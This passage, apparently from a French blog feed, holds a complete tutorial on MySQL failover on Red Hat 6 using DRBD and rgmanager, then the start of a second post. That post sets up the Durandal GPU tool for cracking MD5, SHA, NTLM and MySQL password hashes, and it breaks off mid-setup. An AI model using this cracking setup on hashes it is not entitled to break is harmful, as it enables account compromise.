<p><strong>BackGround</strong><br />
Pour mon alternance on m&#8217;a chargé de switcher le système de HA tournant sur RH5.5 depuis 2 ans avec HeartBeat/DRBD sur le nouveau système (qui existe depuis pas mal de temps, en fait <img src='http://cdn.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ) fournit par RedHat6 pour le clustering : le RGManager, avec ses dépendances (dispo sur toutes les bonnes distro du moment).</p>
<p>Le but de cette manoeuvre est de permettre au service Mysql de rester accessible pour les machines du réseau en cas de crash du serveur (logiciel ou matériel) en partageant une IP et les disques contenant les données (répliqué par DRBD) du serveur Mysql.</p>
<p>L&#8217;utilisation et la configuration du cluter fournit par RedHat est trivial (limite choquant pour un sysadmin habitué à un florilège de fichier de configuration dans lesquels taper, ici seul /etc/cluster/cluster.conf est à toucher, bien évidement les services subissant le failover sont à configurer <img src='http://cdn.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> )</p>
<p><strong>Les machines</strong><br />
cluster1 (192.168.1.225) sera à la fois serveur et node<br />
cluster2 (192.168.1.224) sera seulement node<br />
192.168.1.31 sera l&#8217;ip partagé entre les deux machines pour la mise à disposition du service Mysql</p>
<p><strong>Lucy et Ricci</strong></p>
<p>(J&#8217;ai désactivé selinux (setenforce 0) et iptables (service iptbles stop) pour l&#8217;install)</p>
<p>Pour le serveur administrant les clusters, on installe lucy qui permet d&#8217;administrer la config des clusters, ainsi que leurs lancements/reboot, &#8230;</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">yum <span class="kw2">install</span> lucy</div>
</li>
<li class="li1">
<div class="de1">chkconfig lucy on</div>
</li>
<li class="li1">
<div class="de1">service lucy start</div>
</li>
</ol>
</div>
<p>Pour les membres du clusters, installation de ricci du serveur mysql (puisque c&#8217;est lui qu&#8217;on veut partager) et leurs dépendances :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">yum <span class="kw2">install</span> ricci mysql-server</div>
</li>
<li class="li1">
<div class="de1">chkconfig ricci on</div>
</li>
<li class="li1">
<div class="de1">service ricci start</div>
</li>
<li class="li1">
<div class="de1">chkconfig cman on</div>
</li>
<li class="li1">
<div class="de1">chkconfig rgmanager on</div>
</li>
</ol>
</div>
<p>Il faut set le password de ricci, pour configurer les nodes</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">passwd</span> ricci</div>
</li>
</ol>
</div>
<p>Une fois les nodes préparées et lucy installé et lancé, on peut se connecter via un browser à ipduserveurlucy:8084 et ajouter les nodes :<br />
<img src="http://cdn.gaetan-grigis.eu/wp-content/uploads/2012/01/addnode.png" alt="" title="addnode" width="620" height="358" class="aligncenter size-full wp-image-1146" /></p>
<p>Puis commencer à configurer les services (c&#8217;est plutôt intuitif donc je zap cette partie) le résultat de la config XML est visible à la fin.</p>
<p><strong>Compilation et installation de DRBD</strong></p>
<p>Passage malheureusement obligatoire, car DRBD n&#8217;existe pas dans les dépôts RedHat, donc on install une machine virtuelle RH6 (ou bien directement sur la machine de prod si vous êtes un bourrin), avec les softs suivant :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">yum <span class="kw2">install</span> <span class="kw2">gcc</span> <span class="kw2">flex</span> <span class="kw2">make</span> libxslt rpm-build redhat-rpm-config kernel-devel</div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">cd</span> <span class="sy0">/</span>tmp</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">wget</span> http:<span class="sy0">//</span>oss.linbit.com<span class="sy0">/</span>drbd<span class="sy0">/</span><span class="nu0">8.4</span><span class="sy0">/</span>drbd<span class="nu0">-8.4</span><span class="nu0">.1</span>.<span class="kw2">tar</span>.gz</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">tar</span> -xvf <span class="sy0">*</span>.<span class="kw2">tar</span>.gz</div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">cd</span> drbd<span class="nu0">-8.4</span><span class="nu0">.1</span></div>
</li>
<li class="li1">
<div class="de1">.<span class="sy0">/</span>configure &#8211;with-rgmanager &#8211;enable-spec &#8211;with-km</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">make</span> tgz</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">cp</span> drbd<span class="sy0">*</span>.<span class="kw2">tar</span>.gz <span class="sy0">/</span>root<span class="sy0">/</span>rpmbuild<span class="sy0">/</span>SOURCES<span class="sy0">/</span></div>
</li>
<li class="li1">
<div class="de1">rpmbuild &#8211;bb drbd.spec &#8211;without xen &#8211;without heartbeat &#8211;without udev &#8211;without pacemaker &#8211;with rgmanager</div>
</li>
<li class="li1">
<div class="de1">rpmbuild &#8211;bb drbd-kernel.spec</div>
</li>
<li class="li1">
<div class="de1">rpmbuild &#8211;bb drbd-km.spec</div>
</li>
</ol>
</div>
<p>Ce qui permet, si tout c&#8217;est bien passer de chopper les RPMs dans le dossier (/root/rpmbuild/RPMS/x86_64/) :<br />
drbd-utils-8.4.1-1.el6.x86_64.rpm<br />
drbd-bash-completion-8.4.1-1.el6.x86_64.rpm<br />
drbd-rgmanager-8.4.1-1.el6.x86_64.rpm<br />
drbd-8.4.1-1.el6.x86_64.rpm<br />
drbd-km-2.6.32_220.2.1.el6.x86_64-8.4.1-1.el6.x86_64.rpm</p>
<p>De les uploader et installer sur les nodes du cluster.</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">rpm -i drbd-utils<span class="nu0">-8.4</span><span class="nu0">.1</span><span class="nu0">-1</span>.el6.x86_64.rpm drbd-bash-completion<span class="nu0">-8.4</span><span class="nu0">.1</span><span class="nu0">-1</span>.el6.x86_64.rpm drbd<span class="nu0">-8.4</span><span class="nu0">.1</span><span class="nu0">-1</span>.el6.x86_64.rpm drbd-rgmanager<span class="nu0">-8.4</span><span class="nu0">.1</span><span class="nu0">-1</span>.el6.x86_64.rpm drbd-km<span class="nu0">-2.6</span>.32_220<span class="nu0">.2</span><span class="nu0">.1</span>.el6.x86_64<span class="nu0">-8.4</span><span class="nu0">.1</span><span class="nu0">-1</span>.el6.x86_64.rpm</div>
</li>
</ol>
</div>
<p><strong>Configuration de DRBD</strong></p>
<p>Création du fichier /etc/drbd.d/r0.res, avec l&#8217;utilisation du port de drbd par défaut (7789) et la création de la device /dev/drbd0 sur chacune des machines, avec la réplication du disque /dev/sdb1 (qui contiendra le /var/lib/mysql)</p>
<div class="geshi no config">
<ol>
<li class="li1">
<div class="de1">resource r0 {
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; device &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/dev/drbd0;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; meta-disk &nbsp; &nbsp; &nbsp; internal;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; on cluster {
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; address &nbsp; &nbsp; &nbsp; &nbsp; 192.168.1.225:7789;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; disk &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/dev/sdb1;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; }
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; on cluster2 {
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; address &nbsp; &nbsp; &nbsp; &nbsp; 192.168.1.224:7789;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;disk &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/dev/sdb1;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp;}
</div>
</li>
<li class="li1">
<div class="de1">}</div>
</li>
</ol>
</div>
<p>A exécuter sur les deux machines :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">drbdadm create-md r0</div>
</li>
<li class="li1">
<div class="de1">modprobe drbd</div>
</li>
<li class="li1">
<div class="de1">drbdadm up r0</div>
</li>
</ol>
</div>
<p>Passage en maitre sur l&#8217;une des deux machines pour créer le système de fichier</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">drbdadm &#8212; &#8211;overwrite-data-of-peer primary r0</div>
</li>
<li class="li1">
<div class="de1">service drbd status</div>
</li>
</ol>
</div>
<p>Qui devra retourner :<br />
<img src="http://cdn.gaetan-grigis.eu/wp-content/uploads/2012/01/retour-statusdrbd.png" alt="" title="retour-statusdrbd" width="965" height="109" class="aligncenter size-full wp-image-1149" /><br />
(Si il reste en Secondary/Secondary, y&#8217;a un soucis &#8230; :s).</p>
<p>Puis formatage de la partition (ça va tout supprimer &#8230; ), et copie du /var/lib/mysql courant sur la partition drbd</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">mkfs.ext3 <span class="sy0">/</span>dev<span class="sy0">/</span>drbd0</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">mkdir</span> <span class="sy0">/</span>tmp<span class="sy0">/</span>mysqldata</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">mount</span> <span class="sy0">/</span>dev<span class="sy0">/</span>drbd0 <span class="sy0">/</span>tmp<span class="sy0">/</span>mysqldata</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">cp</span> -r <span class="sy0">/</span>var<span class="sy0">/</span>lib<span class="sy0">/</span>mysql <span class="sy0">/</span>tmp<span class="sy0">/</span>mysqldata</div>
</li>
</ol>
</div>
<p>On peut maintenant supprimer le /var/lib/mysql sur <strong>LES DEUX MACHINES</strong></p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">rm</span> -rf <span class="sy0">/</span>var<span class="sy0">/</span>lib<span class="sy0">/</span>mysql<span class="sy0">/*</span></div>
</li>
</ol>
</div>
<p>Il faut maintenant configurer le failover du disque pour ensuite monter /dev/drbd0 dans /var/lib/mysql, fournir l&#8217;ip 192.168.1.31 puis démarrer le service mysql.</p>
<p><strong>ATTENTION A NE PAS DEMARRER LES SERVICES AVANT LA SYNCHRO COMPLETE DES DISQUES</strong></p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">service drbd status</div>
</li>
</ol>
</div>
<p><img src="http://cdn.gaetan-grigis.eu/wp-content/uploads/2012/01/synchro.png" alt="" title="synchro" width="982" height="93" class="aligncenter size-full wp-image-1151" /></p>
<p>Une fois les disques synchro, redémarrer les services drbd, pour qu&#8217;il soit tout deux en secondary, et laisser le rgmanager s&#8217;occuper de faire switcher le master</p>
<p><strong>Configuration du cluster</strong></p>
<p>La configuration au format XML (la capture d&#8217;écran est beaucoup trop grande pour la version http) :</p>
<div class="geshi no config">
<ol>
<li class="li1">
<div class="de1">&lt;?xml version=&quot;1.0&quot;?&gt;
</div>
</li>
<li class="li1">
<div class="de1">&lt;cluster config_version=&quot;1&quot; name=&quot;cluster-test&quot;&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &lt;clusternodes&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;clusternode name=&quot;192.168.1.225&quot; nodeid=&quot;1&quot;/&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;clusternode name=&quot;192.168.1.224&quot; nodeid=&quot;2&quot;/&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &lt;/clusternodes&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &lt;rm&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;failoverdomains&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;failoverdomain name=&quot;MYSQL&quot; nofailback=&quot;1&quot; ordered=&quot;0&quot; restricted=&quot;0&quot;&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;failoverdomainnode name=&quot;192.168.1.225&quot;/&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;failoverdomainnode name=&quot;192.168.1.224&quot;/&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/failoverdomain&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/failoverdomains&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;resources&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;ip address=&quot;192.168.1.31&quot; monitor_link=&quot;on&quot; sleeptime=&quot;10&quot;/&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;mysql config_file=&quot;/etc/my.cnf&quot; listen_address=&quot;192.168.1.31&quot; name=&quot;mysql&quot; shutdown_wait=&quot;5&quot; startup_wait=&quot;5&quot;/&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/resources&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;service domain=&quot;MYSQL&quot; name=&quot;mysql&quot; recovery=&quot;relocate&quot;&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;drbd name=&quot;drdb-mysql&quot; resource=&quot;r0&quot;&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;fs device=&quot;/dev/drdb0&quot; fsid=&quot;6202&quot; fstype=&quot;ext3&quot; mountpoint=&quot;/var/lib/mysql&quot; name=&quot;mysql&quot; options=&quot;noatime&quot;/&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/drbd&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;ip ref=&quot;192.168.1.31&quot;/&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;mysql ref=&quot;mysql&quot;/&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/service&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &lt;/rm&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &lt;cman expected_votes=&quot;1&quot; two_node=&quot;1&quot;/&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &lt;fence_daemon clean_start=&quot;1&quot;/&gt;
</div>
</li>
<li class="li1">
<div class="de1">&lt;/cluster&gt;</div>
</li>
</ol>
</div>
<p>Une fois la conf mise en place (si c&#8217;est en autostart, ça devrait partir tout seul), sinon : </p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">clusvcadm -e <span class="st0">&quot;NOM du service&quot;</span></div>
</li>
</ol>
</div>
<p><strong>Les astuces du LoupZeur</strong><br />
Pour ne pas subir d&#8217;interblocage du rgmanager avec fence (blocage complet du service, rgmanager renvoit dans les logs un joli &laquo;&nbsp;Waiting for CMAN to start&nbsp;&raquo;), je vous conseille vivement de rajouter le clean_start=1 pour le fence_daemon.</p>
<p>Dans l&#8217;interface Web : Preferences -> Enable &laquo;&nbsp;Expert&nbsp;&raquo; mode puis HomeBase -> &laquo;&nbsp;ClusterName&nbsp;&raquo; -> Configure -> Fence Daemon -> Clean Start</p>
<p>En cas d&#8217;interblocage : 2 solutions</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">cman_tool leave force</div>
</li>
</ol>
</div>
<p>et si ça marche pas<br />
modification de /etc/sysconfig/cman et mettre FENCE_JOIN à NO avec un beau </p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">service cman restart</div>
</li>
</ol>
</div>
<p>et rgmanager devrait se relancer.</p>
<p>bon HAing <img src='http://cdn.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=1142">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/fake-fencing-sur-red-hat6/" rel="bookmark" title="Permanent Link: Fake fencing sur Red Hat6">Fake fencing sur Red Hat6</a></li><li><a href="http://blog.gaetan-grigis.eu/non-classe/changement-dadresse/" rel="bookmark" title="Permanent Link: Changement d&#8217;adresse">Changement d&#8217;adresse</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/se-monter-un-environnement-de-developpement-lamp-rapidement/" rel="bookmark" title="Permanent Link: Se monter un environnement de developpement LAMP rapidement">Se monter un environnement de developpement LAMP rapidement</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/tentative-de-hack-quand-les-kikoolols-attaquent/" rel="bookmark" title="Permanent Link: Tentative de Hack &#8230; quand les kikoolols attaquent!!!">Tentative de Hack &#8230; quand les kikoolols attaquent!!!</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/securite-installation-de-lids-prelude-sur-debian/" rel="bookmark" title="Permanent Link: Sécurité : Installation de l&#8217;IDS Prelude sur debian">Sécurité : Installation de l&#8217;IDS Prelude sur debian</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content>
		<link rel="replies" type="text/html" href="http://blog.gaetan-grigis.eu/non-classe/mysql-failover-sur-red-hat-6-avec-drbd-et-rgmanager/#comments" thr:count="1" />
		<link rel="replies" type="application/atom+xml" href="http://blog.gaetan-grigis.eu/non-classe/mysql-failover-sur-red-hat-6-avec-drbd-et-rgmanager/feed/atom/" thr:count="1" />
		<thr:total>1</thr:total>
	<feedburner:origLink>http://blog.gaetan-grigis.eu/non-classe/mysql-failover-sur-red-hat-6-avec-drbd-et-rgmanager/</feedburner:origLink></entry>
		<entry>
		<author>
			<name>Gaëtan</name>
						<uri>http://www.gaetan-grigis.eu</uri>
					</author>
		<title type="html"><![CDATA[Cracking de pass via GPU (Cuda) avec Durandal (MD5, SHA, &#8230;)]]></title>
		<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/LeBlogDuGrandLoupZeur/~3/Je4NQ0WGo5I/" />
		<id>http://blog.gaetan-grigis.eu/?p=1134</id>
		<updated>2011-12-25T16:31:54Z</updated>
		<published>2011-12-25T16:27:10Z</published>
		<category scheme="http://blog.gaetan-grigis.eu" term="Sécurité" /><category scheme="http://blog.gaetan-grigis.eu" term="cracking" /><category scheme="http://blog.gaetan-grigis.eu" term="distribué" /><category scheme="http://blog.gaetan-grigis.eu" term="gpu" /><category scheme="http://blog.gaetan-grigis.eu" term="md5" /><category scheme="http://blog.gaetan-grigis.eu" term="sha" />		<summary type="html"><![CDATA[Plop à tous &#8230; quoi de mieux en ces jours de fête que de tester son nouveau matos avec du cracking en GPU &#8230; Le projet que je vais utiliser ici s&#8217;appelle Durandal, et c&#8217;est un projet français !!. Le logiciel en question supporte : Linux/Windows en 32 et 64 bits et est capable de [...]]]></summary>
		<content type="html" xml:base="http://blog.gaetan-grigis.eu/securite/cracking-de-pass-via-gpu-cuda-avec-durandal-md5-sha/"><![CDATA[<p>Plop à tous &#8230; quoi de mieux en ces jours de fête que de tester son nouveau matos avec du cracking en GPU &#8230;</p>
<p>Le projet que je vais utiliser ici s&#8217;appelle <a href="http://durandal-project.org/">Durandal</a>, et c&#8217;est un projet français !!.<br />
<span id="more-1134"></span><br />
Le logiciel en question supporte :</p>
<p>Linux/Windows en 32 et 64 bits et est capable de péter du MD5,SHA1/256/512,NTLMv1 et MYSQL via GPU par CUDA (pas d&#8217;OpenCL pour le moment), soit par brute force, soit par les <a href="http://fr.wikipedia.org/wiki/Cha%C3%AEne_de_Markov">chaines de markov</a> (j&#8217;ai pas tout lu sur le sujet, mais ça a l&#8217;air passionant xD).</p>
<p>Il fonctionne en distribué (possibilité d&#8217;avoir donc plusieurs machines effectuant les calculs nécessaire au cracking).</p>
<p><strong>CUDA</strong> (partie apparement pas obligatoire)<br />
Pour ce tuto, j&#8217;utilise ubuntu 11.10, avec un Phenom 810 X4 et une GTX260, avec les drivers NVidia de base (depuis la version 260, les drivers fournit proposent un support direct de CUDA, il suffit donc de récupérer et d&#8217;installer le &laquo;&nbsp;CUDA Toolkit for Ubuntu Linux 10.10&#8243;, c&#8217;est juste pour choper le nvcc et générer le cubin plus tard).</p>
<p>Puis on indique les path de cuda dans le ~/.bashrc :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw3">export</span> <span class="re2">PATH=</span><span class="re1">$PATH</span>:<span class="sy0">/</span>usr<span class="sy0">/</span><span class="kw3">local</span><span class="sy0">/</span>cuda<span class="sy0">/</span>bin</div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">export</span> <span class="re2">LD_LIBRARY_PATH=</span><span class="re1">$LD_LIBRARY_PATH</span>:<span class="sy0">/</span>usr<span class="sy0">/</span><span class="kw3">local</span><span class="sy0">/</span>cuda<span class="sy0">/</span>lib</div>
</li>
<li class="li1">
<div class="de1"><span class="co0">## a rajouter pour un ubuntu 64 bits</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co0"># export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/cuda/lib64</span></div>
</li>
</ol>
</div>
<p>Ensuite sur ubuntu la version de GCC/G++ est la 4.6 et cuda ne supporte pas les version au-dessus de la 4.5<br />
Donc on install la 4.4, et l&#8217;on créer les update-alternatives pour switcher à nouveau en 4.6, histoire d&#8217;être pas trop crade</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">apt-get <span class="kw2">install</span> g++<span class="nu0">-4.4</span> gcc<span class="nu0">-4.4</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;remove-all <span class="kw2">gcc</span> </div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;remove-all <span class="kw2">g++</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;<span class="kw2">install</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">gcc</span> <span class="kw2">gcc</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span>gcc<span class="nu0">-4.4</span> <span class="nu0">10</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;<span class="kw2">install</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">gcc</span> <span class="kw2">gcc</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span>gcc<span class="nu0">-4.6</span> <span class="nu0">20</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;<span class="kw2">install</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">g++</span> <span class="kw2">g++</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span>g++<span class="nu0">-4.4</span> <span class="nu0">10</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;<span class="kw2">install</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">g++</span> <span class="kw2">g++</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span>g++<span class="nu0">-4.6</span> <span class="nu0">20</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;<span class="kw2">install</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">cc</span> <span class="kw2">cc</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">gcc</span> <span class="nu0">30</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;<span class="kw1">set</span> <span class="kw2">cc</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">gcc</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;<span class="kw2">install</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">c++</span> <span class="kw2">c++</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">g++</span> <span class="nu0">30</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;<span class="kw1">set</span> <span class="kw2">c++</span> <span class="sy0">/</span>usr<span class="sy0">/</span>bin<span class="sy0">/</span><span class="kw2">g++</span></div>
</li>
</ol>
</div>
<p>Un petit coup de update-alternatives pour switcher entre les version 4.6 et 4.4</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;config <span class="kw2">gcc</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sudo</span> update-alternatives &#8211;config <span class="kw2">g++</span></div>
</li>
</ol>
</div>
<p><strong>Durandal</strong></p>
<p>On passe à l&#8217;installation de durandal (la manip est indiqué sur le <a href="http://durandal-project.org/getting_started.html">site web</a>) :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">apt-get <span class="kw2">install</span> cmake <span class="kw2">make</span> <span class="kw2">g++</span> libboost-serialization-dev libboost-thread-dev libboost-system-dev libboost-filesystem-dev libboost-date-time-dev python2<span class="nu0">.6</span> openssl git-core <span class="sy0">&amp;&amp;</span> git clone http:<span class="sy0">//</span>durandal-project.org<span class="sy0">/</span>durandal<span class="sy0">/</span></div>
</li>
</ol>
</div>
<p>Dans le README, il est conseillé de faire un nvcc sur le fichier src/agent/kernels/md5.cu, puis faire un bin/cudump md5.cubin, mais le fichier hpp généré ne peut être utilisé (le build plante, au final, mon GPU sera tout de même détecté et utilisé donc c&#8217;est pas trop grave).</p>
<p>Donc on passe direct à la compil/install.</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw3">cd</span> durandal<span class="sy0">/</span>build <span class="sy0">&amp;&amp;</span> <span class="kw2">sh</span> install_linux.<span class="kw2">sh</span></div>
</li>
</ol>
</div>
<p>Ensuite, il suffit de suivre les instructions des différents executables</p>
<p><strong>durandal.sh</strong>, qui créer le serveur en demandant les ports d&#8217;administration (j&#8217;utilise le port 21000) et de cracking (j&#8217;utilise le port 20000) pour les clients</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw3">cd</span> ..<span class="sy0">/</span>bin <span class="sy0">&amp;&amp;</span> <span class="kw2">sh</span> durandal.<span class="kw2">sh</span></div>
</li>
</ol>
</div>
<p><strong>admin</strong>, qui drope une console d&#8217;admin pour ajouter hashes</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">.<span class="sy0">/</span>admin <span class="nu0">127.0</span><span class="nu0">.0</span><span class="nu0">.1</span> -p <span class="nu0">21000</span> -k mdpadmin</div>
</li>
